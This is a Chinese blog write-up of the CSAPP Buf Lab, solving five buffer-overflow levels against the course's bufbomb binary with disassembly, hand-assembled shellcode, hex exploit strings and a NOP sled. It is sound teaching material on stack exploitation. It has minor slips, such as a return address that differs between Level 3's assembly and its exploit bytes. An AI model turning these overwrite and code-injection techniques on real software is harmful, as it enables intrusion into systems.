《深入理解计算机系统》实验三 —— Buf Lab
这是CSAPP的第三个实验,主要让我们熟悉GDB的使用,理解程序栈帧的结构和缓冲区溢出的原理。
实验目的
本实验的目的在于加深对IA-32函数调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,继而执行一些原来程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。本次实验需要你熟练运用gdb、objdump、gcc等工具完成。
实验中你需要对目标可执行程序BUFBOMB分别完成5个难度递增的缓冲区溢出攻击。5个难度级分别命名为Smoke(level 0)、Fizz(level 1)、Bang(level 2)、Boom(level 3)和Nitro(level 4),其中Smoke级最简单而Nitro级最困难。
准备工作
编译环境:Ubuntu 16.04,gcc 5.4.0。
在官网下载得到实验所需文件解压后会得到三个不同的文件。对三个文件简要说明如下所示。
README.txt:描述文件夹目录
bufbomb:将要攻击的缓冲区炸弹程序。
makecookie:根据您的用户名生成一个“ cookie”。
hex2raw:用于在字符串格式之间进行转换的程序。
Cookie是由八位十六进制数字组成的字符串,该字符串具有很高的用户ID唯一性。您可以使用makecookie程序生成您的cookie,并以您的userid作为参数。如下图所示:
如果报错:-bash: ./makecookie: Permission denied,执行以下命令赋予权限
chmod 777 bufbom
chmod 777 makecookie
BUFBOMB 程序
BUFBOMB程序从标准输入读取字符串。getbuf函数如下所示:
/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}
函数Gets类似于标准库函数gets-它从标准输入中读取字符串(以“ \ n”或文件结尾结尾)并将其(连同空终止符一起)存储在指定的目标位置。在此代码中,定义了一个32个字节空间的buf来存储字符。
Gets()从输入流中获取一个字符串,并将其存储到其目标地址(buf)。但是,Gets()无法确定buf是否足够大以存储整个输入。它只是复制整个输入字符串,可能会超出分配给buf的内存。
如果用户键入的字符串不超过31个字符,很明显getbuf将返回1,如以下执行示例所示:
当输入一个很长的字符串时
如上图所示,缓冲区溢出通常会导致程序状态被破坏,导致内存访问错误。我们的任务是更聪明地输入BUFBOMB的字符串,让它做更多有趣的事情。
BUFBOMB所用的几个不同的命令行参数:
-u userid:操作指示的userid的炸弹。在以下几种情况中,必须加上此参数:1.需要将成功的攻击提交给分级服务器。2.BUFBOMB和程序MAKECOOKIE一样,根据userid确定要使用的Cookie。3.我们在BUFBOMB中内置了一些功能,一些关键的堆栈地址需要依赖于userid的cookie。
-h:打印可能的命令行参数列表。
-n:如以下Level 4所使用的那样,以“Nitro”模式进行操作。
-s:将您的解决方案利用字符串提交到分级服务器
注意以下几个问题:
1.HEX2RAW程序可以帮助我们生成原始的字符串。HEX2RAW程序的输入是十六进制格式的字符。例如,字符串“0 1 2 3 4 5”应该写成"30 31 32 33 34 35",(注意字符之间的空格)。
2.HEX2RAW程序支持 /**/ 类型的注释。例如
bf 66 7b 32 78 /* mov $0x78327b66,%edi */
3.假如攻击字符串存储在exploit.txt中,我们可以一次使用以下命令来完成数据的读入和运行。
cat exploit.txt | ./hex2raw | ./bufbomb -u bovik
4.可以使用以下命令来完成输入输出的重定向并提供给BUFBOMB使用。
./hex2raw < exploit.txt > exploit-raw.txt
./bufbomb -u bovik < exploit-raw.txt
5.调试bufbomb可以使用如下命令
gdb bufbomb
(gdb) run -u bovik < exploit-raw.txt
6.攻击字符串在任何中间位置都不得包含字节值0x0A,因为这是换行符('\ n')的ASCII码。当Gets遇到此字节时,它将终止字符串。
栈帧结构
首先简单理解下函数调用过程中的栈帧结构。如上图所示,为函数P调用函数Q时,程序的栈帧结构。
-
当前正在执行的过程的帧总是在栈顶。
-
当P函数调用Q时,会把返回地址(即P的下一条代码的地址)压入栈中,当Q返回时,继续从P中调用Q的位置的下一条指令继续执行。一般来说,我们把这个返回地址当做P的栈帧的一部分,因为它存放的是与P相关的状态。
-
Q函数执行时,可以保存寄存器的值,可以为局部变量分配空间,当结束调用时,Q申请的所有空间都将被释放。
-
当P传递给Q的参数少于6个时,使用寄存器保存就可以了。当参数传递大于6个时,多出的部分将用栈来传递。
关于堆栈的更详细的知识可以参考这篇文章面试官不讲武德,居然让我讲讲蠕虫和金丝雀!
Level 0: Candle
test在BUFBOMB中调用了getbuf函数的C代码下:
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
当test调用完getbuf函数(第6行)后会正常向下执行,如果我们想要让其跳转到smoke函数,那么我们就要利用缓冲区溢出的漏洞来修改getbuf函数的返回地址。
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}
首先将bufbomb使用指令objdump -d bufbomb >bufbomb .d 进行反汇编
080491f4 <getbuf>:
80491f4: 55 push %ebp # 被调用者保存
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax # 缓冲区40个字节
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
08048c18 <smoke>:
8048c18: 55 push %ebp
8048c19: 89 e5 mov %esp,%ebp
8048c1b: 83 ec 18 sub $0x18,%esp
8048c1e: c7 04 24 d3 a4 04 08 movl $0x804a4d3,(%esp)
8048c25: e8 96 fc ff ff call 80488c0 <puts@plt>
8048c2a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c31: e8 45 07 00 00 call 804937b <validate>
8048c36: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c3d: e8 be fc ff ff call 8048900 <exit@plt>
由反汇编结果可知,给输入的字符串分配的空间是从%ebp-0x28开始的,换为10进制就是40个字节,而返回地址是在%ebp+0x4处,push %ebp本身又占了四个字节,所以结构为:0x28+4+4=48个字节。并且其最后4个字节应是smoke函数的地址,正好覆盖ebp上方的正常返回地址。这样再从getbuf返回时,取出的根据攻击字符串设置的地址,就可实现控制转移。(结合栈帧的图理解)
由反汇编可得smoke函数的入口地址为0x08048c18。因此,我们需要做的就是把上面的44个字节随意填满(不要填换行),然后把原来的返回地址改为smoke函数的入口地址。0x0a是换行\n的ASCII值,所以不可以输入,那么我们就输入0x08048c18来代替。
新建一个名为Level0.txt的文件,攻击代码如下所示
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /*填充44个字节*/
00 00 00 00 18 8c 04 08 /*溢出刚好修改返回地址*/
执行以下命令测试
./hex2raw < Level0.txt > Level0-raw.txt
./bufbomb -u bovik < Level0-raw.txt
结果如下所示,成功。
Level 1: Sparkler
Level1 和Level0差不多,唯一的区别是 fizz(int) 函数有一个整型的参数,并且在 fizz函数中还要校验cookie, test函数调用getbuf函数,调用完getbuf以后不返回getbuf的调用者test而是去执行fizz函数。
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
}else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
08048c42 <fizz>:
8048c42: 55 push %ebp
8048c43: 89 e5 mov %esp,%ebp
8048c45: 83 ec 18 sub $0x18,%esp
8048c48: 8b 45 08 mov 0x8(%ebp),%eax
8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048c51: 75 26 jne 8048c79 <fizz+0x37>
8048c53: 89 44 24 08 mov %eax,0x8(%esp)
8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp)
8048c5e: 08
8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt>
8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c72: e8 04 07 00 00 call 804937b <validate>
8048c77: eb 18 jmp 8048c91 <fizz+0x4f>
8048c79: 89 44 24 08 mov %eax,0x8(%esp)
8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp)
8048c84: 08
8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt>
8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c98: e8 63 fc ff ff call 8048900 <exit@plt>
由fizz的反汇编可知:fizz函数的入口地址为0x08048c42。由栈帧图示可知,ebp存放了调用者的旧ebp(saved %ebp),其上一位置ebp+4存放了调用者的返回地址,所以参数的地址应该为ebp+8的位置,我们只需要将自己的cookie放置在该位置即可。
攻击代码如下
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
42 8c 04 08 /*fizz函数的入口地址*/
00 00 00 00
b7 b2 05 10 /*ebp+8存放参数地址*/
最后执行命令测试成功
Level 2: Firecracker
08048c9d <bang>:
8048c9d: 55 push %ebp
8048c9e: 89 e5 mov %esp,%ebp
8048ca0: 83 ec 18 sub $0x18,%esp
8048ca3: a1 00 d1 04 08 mov 0x804d100,%eax
8048ca8: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048cae: 75 26 jne 8048cd6 <bang+0x39>
8048cb0: 89 44 24 08 mov %eax,0x8(%esp)
8048cb4: c7 44 24 04 60 a3 04 movl $0x804a360,0x4(%esp)
8048cbb: 08
8048cbc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048cc3: e8 f8 fc ff ff call 80489c0 <__printf_chk@plt>
8048cc8: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048ccf: e8 a7 06 00 00 call 804937b <validate>
8048cd4: eb 18 jmp 8048cee <bang+0x51>
8048cd6: 89 44 24 08 mov %eax,0x8(%esp)
8048cda: c7 44 24 04 0c a5 04 movl $0x804a50c,0x4(%esp)
8048ce1: 08
8048ce2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048ce9: e8 d2 fc ff ff call 80489c0 <__printf_chk@plt>
8048cee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048cf5: e8 06 fc ff ff call 8048900 <exit@plt>
缓冲区攻击的一种更为复杂的形式是提供一个对实际机器指令进行编码的字符串,然后利用字符串利用这些指令在堆栈中的起始地址覆盖返回指针。当调用函数(在本例中为getbuf)执行其ret指令时,程序将开始在堆栈上执行指令,而不是返回。通过这种攻击方式,您可以获得该程序几乎可以执行任何操作。您放在堆栈上的代码称为漏洞利用代码。这种攻击非常棘手,因为您必须将机器代码放入堆栈并将返回指针设置为该代码的开头。
在文件bufbomb中,有一个具有以下C代码的函数bang函数:
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
和之前的两个实验相似,我们的任务是执行完getbuf()后,不返回到test,而是执行bang代码,但是这个实验中我们还要修改global_value的值为cookie。先看下反汇编。
08048c9d <bang>:
8048c9d: 55 push %ebp
8048c9e: 89 e5 mov %esp,%ebp
8048ca0: 83 ec 18 sub $0x18,%esp
8048ca3: a1 00 d1 04 08 mov 0x804d100,%eax #global_value
8048ca8: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048cae: 75 26 jne 8048cd6 <bang+0x39>
8048cb0: 89 44 24 08 mov %eax,0x8(%esp),
8048cb4: c7 44 24 04 60 a3 04 movl $0x804a360,0x4(%esp)
8048cbb: 08
8048cbc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048cc3: e8 f8 fc ff ff call 80489c0 <__printf_chk@plt>
8048cc8: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048ccf: e8 a7 06 00 00 call 804937b <validate>
8048cd4: eb 18 jmp 8048cee <bang+0x51>
8048cd6: 89 44 24 08 mov %eax,0x8(%esp)
8048cda: c7 44 24 04 0c a5 04 movl $0x804a50c,0x4(%esp)
8048ce1: 08
8048ce2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048ce9: e8 d2 fc ff ff call 80489c0 <__printf_chk@plt>
8048cee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048cf5: e8 06 fc ff ff call 8048900 <exit@plt>
bang函数入口地址0x8048c9d。由第5行可知,global_value存放的位置是0x804d100。
由此写下汇编代码:首先把我们的cookie写到全局变量的地址中,然后在把bang的入口地址入栈,通过ret指令来执行bang函数
movl $0x1005b2b7,0x804d100 #修改变量值
push $0x8048c9d #bang函数地址压栈
ret #利用ret语句完成对bang的调用
机器编码如下
00000000 <.text>:
0: c7 05 00 d1 04 08 b7 movl $0x1005b2b7,0x804d100
7: b2 05 10
a: 68 9d 8c 04 08 push $0x8048c9d
f: c3 ret
得到机器码之后如何使用呢?这个机器码的作用是执行到它时,修改全局变量的值并进入bang函数,然而要怎么执行到这一步呢?考虑执行getbuf函数的时候,将其返回地址改为这个函数的地址,使得getbuf执行完毕后,继续执行这个函数,执行完这个函数就自动执行bang函数了。
我们写的这个函数的地址在哪里呢?
使用GDB调试,在getbuf函数设置断点,查询buf的首地址。在call gets函数前,eax寄存器的值就是buf的首地址,即我们写的函数的地址。
080491f4 <getbuf>:
80491f4: 55 push %ebp
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3
位于0x80491fa 地址处代码为预读的string在stack创建了0x28(也就是40)个Byte 的空间。具体位置可以通过gdb在下一行设置breakpoint 查找 %eax 的值得到,如下所示:
我们还需要找到input string存放的位置作为第一次ret 指令的目标位置, 经过gdb调试分析getbuf()申请的40字节缓冲区首地址为0x55683588(后面还会用到)。
所以攻击代码为
c7 05 00 d1 04 08 b7 b2
05 10 68 9d 8c 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 88 35 68 55 /*代码存放位置*/
编译测试结果如下所示
Level 3: Dynamite
在这个题目中,要求getbuf() 结束后正常返回执行(getbuf() 的下一行),并且将cookie作为getbuf的返回值传给test()。同时还要saved ebp被复原,保证占空间被还原,使test()察觉不到我们修改了程序。
08048daa <test>:
8048daa: 55 push %ebp
8048dab: 89 e5 mov %esp,%ebp
8048dad: 53 push %ebx
8048dae: 83 ec 24 sub $0x24,%esp
8048db1: e8 da ff ff ff call 8048d90 <uniqueval>
8048db6: 89 45 f4 mov %eax,-0xc(%ebp)
8048db9: e8 36 04 00 00 call 80491f4 <getbuf> #
8048dbe: 89 c3 mov %eax,%ebx
8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>
8048dc5: 8b 55 f4 mov -0xc(%ebp),%edx
8048dc8: 39 d0 cmp %edx,%eax
8048dca: 74 0e je 8048dda <test+0x30>
8048dcc: c7 04 24 88 a3 04 08 movl $0x804a388,(%esp)
8048dd3: e8 e8 fa ff ff call 80488c0 <puts@plt>
8048dd8: eb 46 jmp 8048e20 <test+0x76>
8048dda: 3b 1d 08 d1 04 08 cmp 0x804d108,%ebx
8048de0: 75 26 jne 8048e08 <test+0x5e>
8048de2: 89 5c 24 08 mov %ebx,0x8(%esp)
8048de6: c7 44 24 04 2a a5 04 movl $0x804a52a,0x4(%esp)
8048ded: 08
8048dee: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048df5: e8 c6 fb ff ff call 80489c0 <__printf_chk@plt>
8048dfa: c7 04 24 03 00 00 00 movl $0x3,(%esp)
8048e01: e8 75 05 00 00 call 804937b <validate>
8048e06: eb 18 jmp 8048e20 <test+0x76>
8048e08: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e0c: c7 44 24 04 47 a5 04 movl $0x804a547,0x4(%esp)
8048e13: 08
8048e14: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e1b: e8 a0 fb ff ff call 80489c0 <__printf_chk@plt>
8048e20: 83 c4 24 add $0x24,%esp
8048e23: 5b pop %ebx
8048e24: 5d pop %ebp
8048e25: c3 ret
getbuf()函数在被调用时,程序的返回值被存储在%eax寄存器中,当getbuf()执行完,就会去%eax取值返回执行。因此,要想返回cookie,我们只要修改eax的值就可以。
题目还要求恢复原来的%ebp,因此我们可以通过打断点的方式先记下调用getbuf()之前的epb值(0x556835e0)。
而对于返回地址,这个很简单,就相当于上一题我们是跳转到bang函数,在这一题里,把执行完getbuf的下一句的地址压栈再ret,就完成了要求。
在程序第8行0x8048db9处打断点,获取原来ebp的值为 0x556835e0。
汇编代码如下所示
movl $0x1005b2b7,%eax
push $0x8048db9 # 压栈
ret
这里通过movl指令将cookie值传给%eax以返回给test(),然后使得程序跳转到test()中call getbuf下一条指令正常返回,但是并不在这里处理ebp寄存器问题,而是通过在攻击字符串里面设置ebp寄存器使得其还原为旧ebp。
00000000 <.text>:
0: b8 b7 b2 05 10 mov $0x1005b2b7,%eax
5: 68 b9 8d 04 08 push $0x8048db9
a: c3 ret
攻击代码如下所示
b8 b7 b2 05
10 68 be 8d
04 08 c3 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
e0 35 68 55 /*原来ebp的值*/
88 35 68 55
编译运行结果如下
这道题目有两种写法,只要在其中一个地方修复ebp即可
第一种是在这个代码里不对ebp作操作,而在我们最后填入getbuf的字符串中修改ebp
第二种是在这个代码里把ebp为原ebp,在我们最后填入getbuf的字符串中随意填ebp
我们上面用的是第一种,下面介绍下第二种。
movl $0x1005b2b7,%eax movl $0x556835e0,%ebp #直接修改ebp的值 push $8048dbe #压栈,正常返回 ret
这里通过movl指令将cookie值传给%eax以返回给test(),然后继续通过movl指令还原ebp寄存器,最后通过push正确返回地址使得程序跳转到test()中call getbuf下一条指令正常返回。区别于方法一的是这里通过自定义攻击代码还原ebp,而不是通过攻击字符串中的缓冲区溢出进行覆盖的,两种方法都可以。
Level 4: Nitroglycerin
请注意:在这个实验中需要使用“ -n”命令行标志才能运行此阶段。
对于不同程序或者是不同用户运行同一程序,每次堆栈位置会有所不同。这种变化的原因之一是,所有环境变量的值都放在程序开始执行时的栈底。环境变量存储为字符串,根据值的不同,需要不同的大量的存储空间。在GDB调试中,堆栈位置也会有差异,因为GDB将堆栈空间用于其自身的某些状态。
在调用getbuf的代码中,使用了某些手段(稳定因素),从而使两次运行之间,getbuf的堆栈框架将保持一致。这使得我们可以编写攻击代码。利用漏洞使得程序知道buf起始地址。如果尝试在其他普通程序上使用此类漏洞利用程序,会发现它有时会起作用,但有时会导致段错误。因此得名“nitroglycerin””----由阿尔弗雷德·诺贝尔开发的nitroglycerin”,其中包含稳定剂以减少Nitroglycerin容易发生意外爆炸。
在这个实验中,堆栈位置比其他程序的堆栈稳定程度更低。当使用命令行标志“ -n”运行BUFBOMB时,它将在“ Nitro”模式下运行。程序不会调用函数getbuf,程序会调用函数getbufn:
/* Buffer size for getbufn */
#define KABOOM_BUFFER_SIZE 512
该函数类似于getbuf,不同之处在于它具有512个字符的缓冲区。我们将需要这个额外空间来创造攻击程序。调用getbufn的代码分配一个随机量堆栈上的存储空间,例如,如果在getbufn连续两次执行时采样%ebp的值,您会发现k它们相差±240。
此外,在Nitro模式下运行时,BUFBOMB要求您提供5次字符串,并且它将执行getbufn 5次,每次都有不同的堆栈偏移量。我们要用攻击字符串每次都返回cookie。
我们需要提供一个攻击程序,让getbufn返回到cookie到test中,而不是1。可以在test代码中看到这将导致程序运行“ KABOOM!”。我们的攻击代码代码应设置cookie作为返回值,恢复任何损坏的状态,将正确的返回位置压入堆栈,并执行ret指令以真正返回到testn。
在CSAPP P199中有nop sled一词,这次实验就用到了这个。书中的解释如下:
一种常见的把戏就是在实际的攻击代码前插入很长一段的nop(读作“noop”,no operatioin的缩写)指令。执行这种指令除了对程序计数器加一,使之指向下一条指令之外,没有任何的效果。只要攻击者能够猜中这段序列中的某个地址,程序就会经过这个序列,到达攻击代码。这个序列常用的术语是“空操作雪橇( nop sled)。
因为在这个实验中,栈的地址是变化的。我们不知道有效机器代码的入口地址了,因此我们需要在有效机器代码前填充大量的nop指令,只要程序可以跳转到这些nop指令中,那么最终就可以滑到有效的机器代码。
运行getbufn函数时,会随机在栈上分配一块存储地址,因此,getbufn的基址ebp时随机变化的。但是又要求我们写的跳转地址是固定的,所以我们应该在有效代码之前大量填充nop指令,让这段地址内的代码都会滑到这段nop之后的代码上。
由于栈上的机器代码是按地址由低向高顺序执行,要保证五次运行都能顺利执行有效机器代码,需要满足:跳转地址位于有效机器代码入口地址之前的nop机器指令填充区。这要求尽可能增大nop填充区,尽可能使有效机器代码段往后挪。
0804920c <getbufn>:
804920c: 55 push %ebp
804920d: 89 e5 mov %esp,%ebp
804920f: 81 ec 18 02 00 00 sub $0x218,%esp
8049215: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
804921b: 89 04 24 mov %eax,(%esp)
804921e: e8 d7 fa ff ff call 8048cfa <Gets>
8049223: b8 01 00 00 00 mov $0x1,%eax
8049228: c9 leave
8049229: c3 ret
804922a: 90 nop
804922b: 90 nop
从反汇编可以看出,buf的首地址为ebp-0x208,所以buf总共的大小为520字节。考虑这个函数中,testn的ebp随每次输入都随机变化,但是栈顶esp的位置却不变,所以我们可以通过esp和ebp的关系来找出这个关系,从而进行攻击
首先在sub $0x218,esp这一句设置断点,并使用-n模式运行程序,并查看ebp的值。
我们要做的是找出最大的ebp值0x556835e0,再减去0x208,即为最高的buf的始地址为:0x556833D8。
如果将有效机器代码置于跳转地址之前,并将其它所有字符都用作nop指令,此时所有五个buf地址的写入都能满足跳转到地址0x556833D8后顺利到达有效机器代
码。
08048e26 <testn>:
8048e26: 55 push %ebp
8048e27: 89 e5 mov %esp,%ebp
8048e29: 53 push %ebx
8048e2a: 83 ec 24 sub $0x24,%esp
8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
8048e35: e8 d2 03 00 00 call 804920c <getbufn>
8048e3a: 89 c3 mov %eax,%ebx #ebp
8048e3c: e8 4f ff ff ff call 8048d90 <uniqueval>
8048e41: 8b 55 f4 mov -0xc(%ebp),%edx
8048e44: 39 d0 cmp %edx,%eax
8048e46: 74 0e je 8048e56 <testn+0x30>
8048e48: c7 04 24 88 a3 04 08 movl $0x804a388,(%esp)
8048e4f: e8 6c fa ff ff call 80488c0 <puts@plt>
8048e54: eb 46 jmp 8048e9c <testn+0x76>
8048e56: 3b 1d 08 d1 04 08 cmp 0x804d108,%ebx
8048e5c: 75 26 jne 8048e84 <testn+0x5e>
8048e5e: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e62: c7 44 24 04 b4 a3 04 movl $0x804a3b4,0x4(%esp)
8048e69: 08
8048e6a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e71: e8 4a fb ff ff call 80489c0 <__printf_chk@plt>
8048e76: c7 04 24 04 00 00 00 movl $0x4,(%esp)
8048e7d: e8 f9 04 00 00 call 804937b <validate>
8048e82: eb 18 jmp 8048e9c <testn+0x76>
8048e84: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e88: c7 44 24 04 62 a5 04 movl $0x804a562,0x4(%esp)
8048e8f: 08
8048e90: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e97: e8 24 fb ff ff call 80489c0 <__printf_chk@plt>
8048e9c: 83 c4 24 add $0x24,%esp
8048e9f: 5b pop %ebx
8048ea0: 5d pop %ebp
8048ea1: c3 ret
可以看出,在testn中,esp+0x24+0x4是ebp的真值,而由于esp是不变的,所以可以通过esp+0x28来修改正确的ebp值,同时,可以看出得到getbufn的返回地址
为0x8048e3a。
汇编代码如下:
movl $0x1005b2b7,%eax
lea 0x28(%esp),%ebp
push $0x8048e3a
ret
机器码如下
00000000 <.text>:
0: b8 b7 b2 05 10 mov $0x1005b2b7,%eax
5: 8d 6c 24 28 lea 0x28(%esp),%ebp
9: 68 3a 8e 04 08 push $0x8048e3a
e: c3 ret
接下来准备构造攻击字符串,构造的方法:
考虑buf部分共有520+4(旧ebp)+4(返回地址)共528个字节,我们这个代码里要做的就是在这些范围内填入三部分:nop操作、攻击代码、和跳转地址。先考虑后面的部分,在原函数的返回地址处我们肯定要用buf的最大始地址代替,是最后4字节,然后紧跟着它之前的是我们的攻击代码,共15字节,剩下的528-4-15=509字节全用nop填满。
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90
b8 b7 b2 05 10 8d 6c 24 28 68
3a 8e 04 08 c3 D8 33 68 55
测试结果如下所示,顺利通过
总结
这几个实验还是比较好玩的,前四个都不难,稍加思考便能做出来。最后一个居然用到了nop sled,之前在看书的时候就好奇黑客是如何使用这些的,没想到还真用到了。当然,对于黑客来说,这只是基础中的基础。做完这些实验确实对于程序的栈帧结构有了更深的理解。更好地理解了C语言函数的汇编语言,和缓冲区溢出的原理。掌握缓冲区溢出攻击的设计方法,进一步熟悉了gdb的调试。
养成习惯,先赞后看!如果觉得写的不错,欢迎关注,点赞,转发,谢谢!
如遇到排版错乱的问题,可以通过以下链接访问我的CSDN。
CSDN:CSDN搜索“嵌入式与Linux那些事”
欢迎欢迎关注我的公众号:嵌入式与Linux那些事,领取秋招笔试面试大礼包(华为小米等大厂面经,嵌入式知识点总结,笔试题目,简历模版等)和2000G学习资料。